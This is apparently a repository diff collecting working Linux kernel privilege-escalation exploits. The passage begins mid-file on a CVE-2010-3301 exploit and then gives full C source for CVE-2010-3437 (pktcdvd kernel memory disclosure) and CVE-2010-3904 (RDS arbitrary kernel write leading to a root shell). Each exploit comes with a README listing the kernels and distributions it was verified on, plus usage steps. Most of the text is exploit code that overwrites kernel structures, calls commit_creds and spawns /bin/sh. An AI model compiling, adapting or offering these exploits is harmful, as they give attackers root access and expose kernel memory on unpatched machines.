int ret = 0, oldstyle = 0;
|
||||
|
||||
f = fopen("/proc/kallsyms", "r");
|
||||
if (f == NULL) {
|
||||
f = fopen("/proc/ksyms", "r");
|
||||
if (f == NULL)
|
||||
return 0;
|
||||
oldstyle = 1;
|
||||
}
|
||||
|
||||
while (ret != EOF) {
|
||||
if (!oldstyle) {
|
||||
ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sname);
|
||||
} else {
|
||||
ret = fscanf(f, "%p %s\n", (void **) &addr, sname);
|
||||
if (ret == 2) {
|
||||
char *p;
|
||||
if (strstr(sname, "_O/") || strstr(sname, "_S.")) {
|
||||
continue;
|
||||
}
|
||||
p = strrchr(sname, '_');
|
||||
if (p > ((char *) sname + 5) && !strncmp(p - 3, "smp", 3)) {
|
||||
p = p - 4;
|
||||
while (p > (char *)sname && *(p - 1) == '_') {
|
||||
p--;
|
||||
}
|
||||
*p = '\0';
|
||||
}
|
||||
}
|
||||
}
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", sname);
|
||||
continue;
|
||||
}
|
||||
if (!strcmp(name, sname)) {
|
||||
printf("resolved symbol %s to %p\n", name, (void *) addr);
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
fclose(f);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
static void docall(uint64_t *ptr, uint64_t size)
|
||||
{
|
||||
commit_creds = (_commit_creds) get_symbol("commit_creds");
|
||||
if (!commit_creds) {
|
||||
printf("symbol table not available, aborting!\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
|
||||
if (!prepare_kernel_cred) {
|
||||
printf("symbol table not available, aborting!\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
uint64_t tmp = ((uint64_t)ptr & ~0x00000000000FFF);
|
||||
|
||||
printf("mapping at %lx\n", tmp);
|
||||
|
||||
if (mmap((void*)tmp, size, PROT_READ|PROT_WRITE|PROT_EXEC,
|
||||
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {
|
||||
printf("mmap fault\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
for (; (uint64_t) ptr < (tmp + size); ptr++)
|
||||
*ptr = (uint64_t)kernelmodecode;
|
||||
|
||||
__asm__("\n"
|
||||
"\tmovq $0x101, %rax\n"
|
||||
"\tint $0x80\n");
|
||||
|
||||
printf("UID %d, EUID:%d GID:%d, EGID:%d\n", getuid(), geteuid(), getgid(), getegid());
|
||||
execl("/bin/sh", "bin/sh", NULL);
|
||||
printf("no /bin/sh ??\n");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
int pid, status, set = 0;
|
||||
uint64_t rax;
|
||||
uint64_t kern_s = 0xffffffff80000000;
|
||||
uint64_t kern_e = 0xffffffff84000000;
|
||||
uint64_t off = 0x0000000800000101 * 8;
|
||||
|
||||
if (argc == 4) {
|
||||
docall((uint64_t*)(kern_s + off), kern_e - kern_s);
|
||||
exit(0);
|
||||
}
|
||||
|
||||
if ((pid = fork()) == 0) {
|
||||
ptrace(PTRACE_TRACEME, 0, 0, 0);
|
||||
execl(argv[0], argv[0], "2", "3", "4", NULL);
|
||||
perror("exec fault");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
if (pid == -1) {
|
||||
printf("fork fault\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
for (;;) {
|
||||
if (wait(&status) != pid)
|
||||
continue;
|
||||
|
||||
if (WIFEXITED(status)) {
|
||||
printf("Process finished\n");
|
||||
break;
|
||||
}
|
||||
|
||||
if (!WIFSTOPPED(status))
|
||||
continue;
|
||||
|
||||
if (WSTOPSIG(status) != SIGTRAP) {
|
||||
printf("Process received signal: %d\n", WSTOPSIG(status));
|
||||
break;
|
||||
}
|
||||
|
||||
rax = ptrace(PTRACE_PEEKUSER, pid, 8*ORIG_RAX, 0);
|
||||
if (rax == 0x000000000101) {
|
||||
if (ptrace(PTRACE_POKEUSER, pid, 8*ORIG_RAX, off/8) == -1) {
|
||||
printf("PTRACE_POKEUSER fault\n");
|
||||
exit(1);
|
||||
}
|
||||
set = 1;
|
||||
//rax = ptrace(PTRACE_PEEKUSER, pid, 8*ORIG_RAX, 0);
|
||||
}
|
||||
|
||||
if ((rax == 11) && set) {
|
||||
ptrace(PTRACE_DETACH, pid, 0, 0);
|
||||
for(;;)
|
||||
sleep(10000);
|
||||
}
|
||||
|
||||
if (ptrace(PTRACE_SYSCALL, pid, 1, 0) == -1) {
|
||||
printf("PTRACE_SYSCALL fault\n");
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
|
@ -0,0 +1,25 @@
|
|||
# CVE-2010-3301
|
||||
|
||||
CVE-2010-3301
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2010-3301](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2010-3301)
|
||||
* [exp-db](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2010-3301)
|
||||
|
||||
## Kernels
|
||||
```
|
||||
2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34
|
||||
```
|
||||
|
||||
### This binary has been verified on:
|
||||
- Debian 6 - Linux 2.6.32-trunk-amd64 x86_64
|
||||
- Debian 6 - Linux 2.6.33-2-amd64 x86_64
|
||||
- Debian 6 - Linux 2.6.34-1-amd64 x86_64
|
||||
- Debian 6 - Linux 2.6.35-trunk-amd64 x86_64
|
||||
- Ubuntu 10.10 - 2.6.35-19-server #28-Ubuntu x86_64
|
||||
- Ubuntu 10.04.1 - 2.6.32-24-server #39-Ubuntu x86_64
|
||||
- Ubuntu 10.04 - 2.6.32-21-server #32-Ubuntu x86_64
|
||||
|
||||
|
||||
|
||||
|
Binary file not shown.
|
@ -0,0 +1,359 @@
|
|||
/*
|
||||
* cve-2010-3437.c
|
||||
*
|
||||
* Linux Kernel < 2.6.36-rc6 pktcdvd Kernel Memory Disclosure
|
||||
* Jon Oberheide <jon@oberheide.org>
|
||||
* http://jon.oberheide.org
|
||||
*
|
||||
* Information:
|
||||
*
|
||||
* https://bugzilla.redhat.com/show_bug.cgi?id=638085
|
||||
*
|
||||
* The PKT_CTRL_CMD_STATUS device ioctl retrieves a pointer to a
|
||||
* pktcdvd_device from the global pkt_devs array. The index into this
|
||||
* array is provided directly by the user and is a signed integer, so the
|
||||
* comparison to ensure that it falls within the bounds of this array will
|
||||
* fail when provided with a negative index.
|
||||
*
|
||||
* Usage:
|
||||
*
|
||||
* $ gcc cve-2010-3437.c -o cve-2010-3437
|
||||
* $ ./cve-2010-3437
|
||||
* usage: ./cve-2010-3437 <address> <length>
|
||||
* $ ./cve-2010-3437 0xc0102290 64
|
||||
* [+] searching for pkt_devs kernel symbol...
|
||||
* [+] found pkt_devs at 0xc086fcc0
|
||||
* [+] opening pktcdvd device...
|
||||
* [+] calculated dereference address of 0x790070c0
|
||||
* [+] mapping page at 0x79007000 for pktcdvd_device dereference...
|
||||
* [+] setting up fake pktcdvd_device structure...
|
||||
* [+] dumping kmem from 0xc0102290 to 0xc01022d0 via malformed ioctls...
|
||||
* [+] dumping kmem to output...
|
||||
*
|
||||
* 55 89 e5 0f 1f 44 00 00 8b 48 3c 8b 50 04 8b ...
|
||||
* 55 89 e5 57 56 53 0f 1f 44 00 00 89 d3 89 e2 ...
|
||||
*
|
||||
* Notes:
|
||||
*
|
||||
* Pass the desired kernel memory address and dump length as arguments.
|
||||
*
|
||||
* We can disclose 4 bytes of arbitrary kernel memory per ioctl call by
|
||||
* specifying a large negative device index, causing the kernel to
|
||||
* dereference to our fake pktcdvd_device structure in userspace and copy
|
||||
* data to userspace from an attacker-controlled address. Since only 4
|
||||
* bytes of kmem are disclosed per ioctl call, large dump sizes may take a
|
||||
* few seconds.
|
||||
*
|
||||
* Tested on Ubuntu Lucid 10.04. 32-bit only for now.
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <errno.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/ioctl.h>
|
||||
#include <sys/utsname.h>
|
||||
#include <sys/mman.h>
|
||||
|
||||
#define DEV_INDEX -300000000
|
||||
#define PAGE_SIZE 4096
|
||||
#define PKT_CTRL_CMD_STATUS 2
|
||||
|
||||
struct pkt_ctrl_command {
|
||||
uint32_t command;
|
||||
int32_t dev_index;
|
||||
uint32_t dev;
|
||||
uint32_t pkt_dev;
|
||||
uint32_t num_devices;
|
||||
uint32_t padding;
|
||||
};
|
||||
|
||||
#define PACKET_IOCTL_MAGIC ('X')
|
||||
#define PACKET_CTRL_CMD _IOWR(PACKET_IOCTL_MAGIC, 1, struct pkt_ctrl_command)
|
||||
|
||||
struct block_device {
|
||||
uint32_t bd_dev;
|
||||
} bd;
|
||||
|
||||
struct pktcdvd_device {
|
||||
struct block_device *bdev;
|
||||
} pd;
|
||||
|
||||
#define MINORBITS 20
|
||||
#define MKDEV(ma,mi) (((ma) << MINORBITS) | (mi))
|
||||
|
||||
uint32_t
|
||||
new_decode_dev(uint32_t dev)
|
||||
{
|
||||
unsigned major = (dev & 0xfff00) >> 8;
|
||||
unsigned minor = (dev & 0xff) | ((dev >> 12) & 0xfff00);
|
||||
return MKDEV(major, minor);
|
||||
}
|
||||
|
||||
const char hex_asc[] = "0123456789abcdef";
|
||||
#define hex_asc_lo(x) hex_asc[((x) & 0x0f)]
|
||||
#define hex_asc_hi(x) hex_asc[((x) & 0xf0) >> 4]
|
||||
|
||||
void
|
||||
hex_dump_to_buffer(const void *buf, size_t len, int rowsize, int groupsize, char *linebuf, size_t linebuflen, int ascii)
|
||||
{
|
||||
const uint8_t *ptr = buf;
|
||||
uint8_t ch;
|
||||
int j, lx = 0;
|
||||
int ascii_column;
|
||||
|
||||
if (rowsize != 16 && rowsize != 32)
|
||||
rowsize = 16;
|
||||
|
||||
if (!len)
|
||||
goto nil;
|
||||
if (len > rowsize)
|
||||
len = rowsize;
|
||||
if ((len % groupsize) != 0)
|
||||
groupsize = 1;
|
||||
|
||||
switch (groupsize) {
|
||||
case 8: {
|
||||
const uint64_t *ptr8 = buf;
|
||||
int ngroups = len / groupsize;
|
||||
|
||||
for (j = 0; j < ngroups; j++)
|
||||
lx += snprintf(linebuf + lx, linebuflen - lx,
|
||||
"%16.16llx ", (unsigned long long)*(ptr8 + j));
|
||||
ascii_column = 17 * ngroups + 2;
|
||||
break;
|
||||
}
|
||||
|
||||
case 4: {
|
||||
const uint32_t *ptr4 = buf;
|
||||
int ngroups = len / groupsize;
|
||||
|
||||
for (j = 0; j < ngroups; j++)
|
||||
lx += snprintf(linebuf + lx, linebuflen - lx,
|
||||
"%8.8x ", *(ptr4 + j));
|
||||
ascii_column = 9 * ngroups + 2;
|
||||
break;
|
||||
}
|
||||
|
||||
case 2: {
|
||||
const uint16_t *ptr2 = buf;
|
||||
int ngroups = len / groupsize;
|
||||
|
||||
for (j = 0; j < ngroups; j++)
|
||||
lx += snprintf(linebuf + lx, linebuflen - lx,
|
||||
"%4.4x ", *(ptr2 + j));
|
||||
ascii_column = 5 * ngroups + 2;
|
||||
break;
|
||||
}
|
||||
|
||||
default:
|
||||
for (j = 0; (j < rowsize) && (j < len) && (lx + 4) < linebuflen;
|
||||
j++) {
|
||||
ch = ptr[j];
|
||||
linebuf[lx++] = hex_asc_hi(ch);
|
||||
linebuf[lx++] = hex_asc_lo(ch);
|
||||
linebuf[lx++] = ' ';
|
||||
}
|
||||
ascii_column = 3 * rowsize + 2;
|
||||
break;
|
||||
}
|
||||
if (!ascii)
|
||||
goto nil;
|
||||
|
||||
while (lx < (linebuflen - 1) && lx < (ascii_column - 1))
|
||||
linebuf[lx++] = ' ';
|
||||
for (j = 0; (j < rowsize) && (j < len) && (lx + 2) < linebuflen; j++)
|
||||
linebuf[lx++] = (isascii(ptr[j]) && isprint(ptr[j])) ? ptr[j]
|
||||
: '.';
|
||||
nil:
|
||||
linebuf[lx++] = '\0';
|
||||
}
|
||||
|
||||
void
|
||||
print_hex_dump(int rowsize, int groupsize, const void *buf, size_t len, int ascii)
|
||||
{
|
||||
const uint8_t *ptr = buf;
|
||||
int i, linelen, remaining = len;
|
||||
unsigned char linebuf[200];
|
||||
|
||||
if (rowsize != 16 && rowsize != 32)
|
||||
rowsize = 16;
|
||||
|
||||
for (i = 0; i < len; i += rowsize) {
|
||||
linelen = ((remaining) < (rowsize) ? (remaining) : (rowsize));
|
||||
remaining -= rowsize;
|
||||
hex_dump_to_buffer(ptr + i, linelen, rowsize, groupsize,
|
||||
linebuf, sizeof(linebuf), ascii);
|
||||
printf("%s\n", linebuf);
|
||||
}
|
||||
}
|
||||
|
||||
unsigned long
|
||||
get_kernel_symbol(char *name)
|
||||
{
|
||||
FILE *f;
|
||||
unsigned long addr;
|
||||
struct utsname ver;
|
||||
char dummy, sname[512];
|
||||
int ret, rep = 0, oldstyle = 0;
|
||||
|
||||
f = fopen("/proc/kallsyms", "r");
|
||||
if (f == NULL) {
|
||||
f = fopen("/proc/ksyms", "r");
|
||||
if (f == NULL) {
|
||||
goto fallback;
|
||||
}
|
||||
oldstyle = 1;
|
||||
}
|
||||
|
||||
repeat:
|
||||
ret = 0;
|
||||
while(ret != EOF) {
|
||||
if (!oldstyle) {
|
||||
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
|
||||
} else {
|
||||
ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
|
||||
if (ret == 2) {
|
||||
char *p;
|
||||
if (strstr(sname, "_O/") || strstr(sname, "_S.")) {
|
||||
continue;
|
||||
}
|
||||
p = strrchr(sname, '_');
|
||||
if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
|
||||
p = p - 4;
|
||||
while (p > (char *)sname && *(p - 1) == '_') {
|
||||
p--;
|
||||
}
|
||||
*p = '\0';
|
||||
}
|
||||
}
|
||||
}
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", sname);
|
||||
continue;
|
||||
}
|
||||
if (!strcmp(name, sname)) {
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
|
||||
fclose(f);
|
||||
if (rep) {
|
||||
return 0;
|
||||
}
|
||||
fallback:
|
||||
uname(&ver);
|
||||
if (strncmp(ver.release, "2.6", 3)) {
|
||||
oldstyle = 1;
|
||||
}
|
||||
sprintf(sname, "/boot/System.map-%s", ver.release);
|
||||
f = fopen(sname, "r");
|
||||
if (f == NULL) {
|
||||
return 0;
|
||||
}
|
||||
rep = 1;
|
||||
goto repeat;
|
||||
}
|
||||
|
||||
void
|
||||
usage(char **argv)
|
||||
{
|
||||
fprintf(stderr, "usage: %s <address> <length>\n", argv[0]);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
int
|
||||
main(int argc, char **argv)
|
||||
{
|
||||
int fd, ret, length;
|
||||
void *mem, *dump, *ptr;
|
||||
struct pkt_ctrl_command cmd;
|
||||
unsigned long pkt_devs, map_addr, deref_addr;
|
||||
unsigned long start_addr, end_addr, curr_addr;
|
||||
|
||||
if (argc < 3) {
|
||||
usage(argv);
|
||||
}
|
||||
|
||||
start_addr = strtoul(argv[1], NULL, 0);
|
||||
length = strtoul(argv[2], NULL, 0);
|
||||
end_addr = start_addr + length;
|
||||
|
||||
dump = malloc(length);
|
||||
if (!dump) {
|
||||
printf("[-] failed to allocate memory for kmem dump\n");
|
||||
exit(1);
|
||||
}
|
||||
memset(dump, 0, length);
|
||||
|
||||
printf("[+] searching for pkt_devs kernel symbol...\n");
|
||||
|
||||
pkt_devs = get_kernel_symbol("pkt_devs");
|
||||
if (!pkt_devs) {
|
||||
printf("[-] could not find pkt_devs kernel symbol\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
printf("[+] found pkt_devs at %p\n", (void *) pkt_devs);
|
||||
|
||||
printf("[+] opening pktcdvd device...\n");
|
||||
|
||||
fd = open("/dev/pktcdvd/control", O_RDWR);
|
||||
if (fd < 0) {
|
||||
printf("[-] open of pktcdvd device failed\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
deref_addr = pkt_devs + (DEV_INDEX * sizeof(void *));
|
||||
map_addr = deref_addr & ~(PAGE_SIZE-1);
|
||||
|
||||
printf("[+] calculated dereference address of %p\n", (void *) deref_addr);
|
||||
printf("[+] mapping page at %p for pktcdvd_device dereference...\n", (void *) map_addr);
|
||||
|
||||
mem = mmap((void *) map_addr, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
|
||||
if (mem == MAP_FAILED) {
|
||||
printf("[-] mmap failed\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
printf("[+] setting up fake pktcdvd_device structure...\n");
|
||||
|
||||
*(unsigned long *) deref_addr = (unsigned long) &pd;
|
||||
|
||||
printf("[+] dumping kmem from %p to %p via malformed ioctls...\n", (void *) start_addr, (void *) end_addr);
|
||||
|
||||
memset(&cmd, 0, sizeof(cmd));
|
||||
cmd.command = PKT_CTRL_CMD_STATUS;
|
||||
cmd.dev_index = DEV_INDEX;
|
||||
|
||||
ptr = dump;
|
||||
curr_addr = start_addr;
|
||||
|
||||
while (curr_addr < end_addr) {
|
||||
pd.bdev = (struct block_device *) curr_addr;
|
||||
|
||||
ret = ioctl(fd, PACKET_CTRL_CMD, &cmd);
|
||||
if (ret < 0) {
|
||||
printf("[-] ioctl of pktcdvd device failed\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
*(uint32_t *) ptr = (uint32_t) new_decode_dev(cmd.dev);
|
||||
|
||||
curr_addr += sizeof(uint32_t);
|
||||
ptr += sizeof(uint32_t);
|
||||
}
|
||||
|
||||
printf("[+] dumping kmem to output...\n");
|
||||
|
||||
printf("\n");
|
||||
print_hex_dump(32, 1, dump, length, 1);
|
||||
printf("\n");
|
||||
|
||||
return 0;
|
||||
}
|
|
@ -0,0 +1,23 @@
|
|||
# CVE-2010-3437
|
||||
|
||||
CVE-2010-3437
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2010-3437](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2010-3437)
|
||||
* [exp-db](https://www.exploit-db.com/exploits/15150/)
|
||||
|
||||
## Kernels
|
||||
```
|
||||
2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36
|
||||
```
|
||||
|
||||
## Usage
|
||||
```
|
||||
$ gcc cve-2010-3437.c -o cve-2010-3437
|
||||
$ ./cve-2010-3437
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
|
@ -0,0 +1,285 @@
|
|||
// source: http://www.vsecurity.com/resources/advisory/20101019-1/
|
||||
|
||||
/*
|
||||
* Linux Kernel <= 2.6.36-rc8 RDS privilege escalation exploit
|
||||
* CVE-2010-3904
|
||||
* by Dan Rosenberg <drosenberg@vsecurity.com>
|
||||
*
|
||||
* Copyright 2010 Virtual Security Research, LLC
|
||||
*
|
||||
* The handling functions for sending and receiving RDS messages
|
||||
* use unchecked __copy_*_user_inatomic functions without any
|
||||
* access checks on user-provided pointers. As a result, by
|
||||
* passing a kernel address as an iovec base address in recvmsg-style
|
||||
* calls, a local user can overwrite arbitrary kernel memory, which
|
||||
* can easily be used to escalate privileges to root. Alternatively,
|
||||
* an arbitrary kernel read can be performed via sendmsg calls.
|
||||
*
|
||||
* This exploit is simple - it resolves a few kernel symbols,
|
||||
* sets the security_ops to the default structure, then overwrites
|
||||
* a function pointer (ptrace_traceme) in that structure to point
|
||||
* to the payload. After triggering the payload, the original
|
||||
* value is restored. Hard-coding the offset of this function
|
||||
* pointer is a bit inelegant, but I wanted to keep it simple and
|
||||
* architecture-independent (i.e. no inline assembly).
|
||||
*
|
||||
* The vulnerability is yet another example of why you shouldn't
|
||||
* allow loading of random packet families unless you actually
|
||||
* need them.
|
||||
*
|
||||
* Greets to spender, kees, taviso, hawkes, team lollerskaters,
|
||||
* joberheide, bla, sts, and VSR
|
||||
*
|
||||
*/
|
||||
|
||||
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <netinet/in.h>
|
||||
#include <errno.h>
|
||||
#include <string.h>
|
||||
#include <sys/ptrace.h>
|
||||
#include <sys/utsname.h>
|
||||
|
||||
#define RECVPORT 5555
|
||||
#define SENDPORT 6666
|
||||
|
||||
int prep_sock(int port)
|
||||
{
|
||||
|
||||
int s, ret;
|
||||
struct sockaddr_in addr;
|
||||
|
||||
s = socket(PF_RDS, SOCK_SEQPACKET, 0);
|
||||
|
||||
if(s < 0) {
|
||||
printf("[*] Could not open socket.\n");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
memset(&addr, 0, sizeof(addr));
|
||||
|
||||
addr.sin_addr.s_addr = inet_addr("127.0.0.1");
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_port = htons(port);
|
||||
|
||||
ret = bind(s, (struct sockaddr *)&addr, sizeof(addr));
|
||||
|
||||
if(ret < 0) {
|
||||
printf("[*] Could not bind socket.\n");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
return s;
|
||||
|
||||
}
|
||||
|
||||
void get_message(unsigned long address, int sock)
|
||||
{
|
||||
|
||||
recvfrom(sock, (void *)address, sizeof(void *), 0,
|
||||
NULL, NULL);
|
||||
|
||||
}
|
||||
|
||||
void send_message(unsigned long value, int sock)
|
||||
{
|
||||
|
||||
int size, ret;
|
||||
struct sockaddr_in recvaddr;
|
||||
struct msghdr msg;
|
||||
struct iovec iov;
|
||||
unsigned long buf;
|
||||
|
||||
memset(&recvaddr, 0, sizeof(recvaddr));
|
||||
|
||||
size = sizeof(recvaddr);
|
||||
|
||||
recvaddr.sin_port = htons(RECVPORT);
|
||||
recvaddr.sin_family = AF_INET;
|
||||
recvaddr.sin_addr.s_addr = inet_addr("127.0.0.1");
|
||||
|
||||
memset(&msg, 0, sizeof(msg));
|
||||
|
||||
msg.msg_name = &recvaddr;
|
||||
msg.msg_namelen = sizeof(recvaddr);
|
||||
msg.msg_iovlen = 1;
|
||||
|
||||
buf = value;
|
||||
|
||||
iov.iov_len = sizeof(buf);
|
||||
iov.iov_base = &buf;
|
||||
|
||||
msg.msg_iov = &iov;
|
||||
|
||||
ret = sendmsg(sock, &msg, 0);
|
||||
if(ret < 0) {
|
||||
printf("[*] Something went wrong sending.\n");
|
||||
exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
void write_to_mem(unsigned long addr, unsigned long value, int sendsock, int recvsock)
|
||||
{
|
||||
|
||||
if(!fork()) {
|
||||
sleep(1);
|
||||
send_message(value, sendsock);
|
||||
exit(1);
|
||||
}
|
||||
else {
|
||||
get_message(addr, recvsock);
|
||||
wait(NULL);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
|
||||
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
|
||||
_commit_creds commit_creds;
|
||||
_prepare_kernel_cred prepare_kernel_cred;
|
||||
|
||||
int __attribute__((regparm(3)))
|
||||
getroot(void * file, void * vma)
|
||||
{
|
||||
|
||||
commit_creds(prepare_kernel_cred(0));
|
||||
return -1;
|
||||
|
||||
}
|
||||
|
||||
/* thanks spender... */
|
||||
unsigned long get_kernel_sym(char *name)
|
||||
{
|
||||
FILE *f;
|
||||
unsigned long addr;
|
||||
char dummy;
|
||||
char sname[512];
|
||||
struct utsname ver;
|
||||
int ret;
|
||||
int rep = 0;
|
||||
int oldstyle = 0;
|
||||
|
||||
f = fopen("/proc/kallsyms", "r");
|
||||
if (f == NULL) {
|
||||
f = fopen("/proc/ksyms", "r");
|
||||
if (f == NULL)
|
||||
goto fallback;
|
||||
oldstyle = 1;
|
||||
}
|
||||
|
||||
repeat:
|
||||
ret = 0;
|
||||
while(ret != EOF) {
|
||||
if (!oldstyle)
|
||||
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
|
||||
else {
|
||||
ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
|
||||
if (ret == 2) {
|
||||
char *p;
|
||||
if (strstr(sname, "_O/") || strstr(sname, "_S."))
|
||||
continue;
|
||||
p = strrchr(sname, '_');
|
||||
if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
|
||||
p = p - 4;
|
||||
while (p > (char *)sname && *(p - 1) == '_')
|
||||
p--;
|
||||
*p = '\0';
|
||||
}
|
||||
}
|
||||
}
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", sname);
|
||||
continue;
|
||||
}
|
||||
if (!strcmp(name, sname)) {
|
||||
fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : "");
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
|
||||
fclose(f);
|
||||
if (rep)
|
||||
return 0;
|
||||
fallback:
|
||||
/* didn't find the symbol, let's retry with the System.map
|
||||
dedicated to the pointlessness of Russell Coker's SELinux
|
||||
test machine (why does he keep upgrading the kernel if
|
||||
"all necessary security can be provided by SE Linux"?)
|
||||
*/
|
||||
uname(&ver);
|
||||
if (strncmp(ver.release, "2.6", 3))
|
||||
oldstyle = 1;
|
||||
sprintf(sname, "/boot/System.map-%s", ver.release);
|
||||
f = fopen(sname, "r");
|
||||
if (f == NULL)
|
||||
return 0;
|
||||
rep = 1;
|
||||
goto repeat;
|
||||
}
|
||||
|
||||
int main(int argc, char * argv[])
|
||||
{
|
||||
unsigned long sec_ops, def_ops, cap_ptrace, target;
|
||||
int sendsock, recvsock;
|
||||
struct utsname ver;
|
||||
|
||||
printf("[*] Linux kernel >= 2.6.30 RDS socket exploit\n");
|
||||
printf("[*] by Dan Rosenberg\n");
|
||||
|
||||
uname(&ver);
|
||||
|
||||
if(strncmp(ver.release, "2.6.3", 5)) {
|
||||
printf("[*] Your kernel is not vulnerable.\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* Resolve addresses of relevant symbols */
|
||||
printf("[*] Resolving kernel addresses...\n");
|
||||
sec_ops = get_kernel_sym("security_ops");
|
||||
def_ops = get_kernel_sym("default_security_ops");
|
||||
cap_ptrace = get_kernel_sym("cap_ptrace_traceme");
|
||||
commit_creds = (_commit_creds) get_kernel_sym("commit_creds");
|
||||
prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred");
|
||||
|
||||
if(!sec_ops || !def_ops || !cap_ptrace || !commit_creds || !prepare_kernel_cred) {
|
||||
printf("[*] Failed to resolve kernel symbols.\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* Calculate target */
|
||||
target = def_ops + sizeof(void *) + ((11 + sizeof(void *)) & ~(sizeof(void *) - 1));
|
||||
|
||||
sendsock = prep_sock(SENDPORT);
|
||||
recvsock = prep_sock(RECVPORT);
|
||||
|
||||
/* Reset security ops */
|
||||
printf("[*] Overwriting security ops...\n");
|
||||
write_to_mem(sec_ops, def_ops, sendsock, recvsock);
|
||||
|
||||
/* Overwrite ptrace_traceme security op fptr */
|
||||
printf("[*] Overwriting function pointer...\n");
|
||||
write_to_mem(target, (unsigned long)&getroot, sendsock, recvsock);
|
||||
|
||||
/* Trigger the payload */
|
||||
printf("[*] Triggering payload...\n");
|
||||
ptrace(PTRACE_TRACEME, 1, NULL, NULL);
|
||||
|
||||
/* Restore the ptrace_traceme security op */
|
||||
printf("[*] Restoring function pointer...\n");
|
||||
write_to_mem(target, cap_ptrace, sendsock, recvsock);
|
||||
|
||||
if(getuid()) {
|
||||
printf("[*] Exploit failed to get root.\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
printf("[*] Got root!\n");
|
||||
execl("/bin/sh", "sh", NULL);
|
||||
|
||||
}
|
|
@ -0,0 +1,30 @@
|
|||
# CVE-2010-3904
|
||||
|
||||
CVE-2010-3904
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2010-3904](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2010-3904)
|
||||
* [exp-db](http://www.exploit-db.com/exploits/15285/)
|
||||
|
||||
## Kernels
|
||||
```
|
||||
2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36
|
||||
```
|
||||
|
||||
### This binary has been verified on:
|
||||
- Debian 6 - Linux 2.6.31-1-686 32bit
|
||||
- Ubuntu 10.10 - 2.6.35-19-generic-pae #28-Ubuntu x86_32
|
||||
- Ubuntu 10.04 - 2.6.32-21-generic-pae #32-Ubuntu x86_32
|
||||
- Ubuntu 10.04.1 - 2.6.32-24-generic-pae #39-Ubuntu x86_32
|
||||
- Ubuntu 9.10 - 2.6.31-14-generic-pae #48-Ubuntu x86_32
|
||||
|
||||
- Debian 6 - Linux 2.6.31-1-amd64 x86_64
|
||||
- Debian 6 - Linux 2.6.32-trunk-amd64 x86_64
|
||||
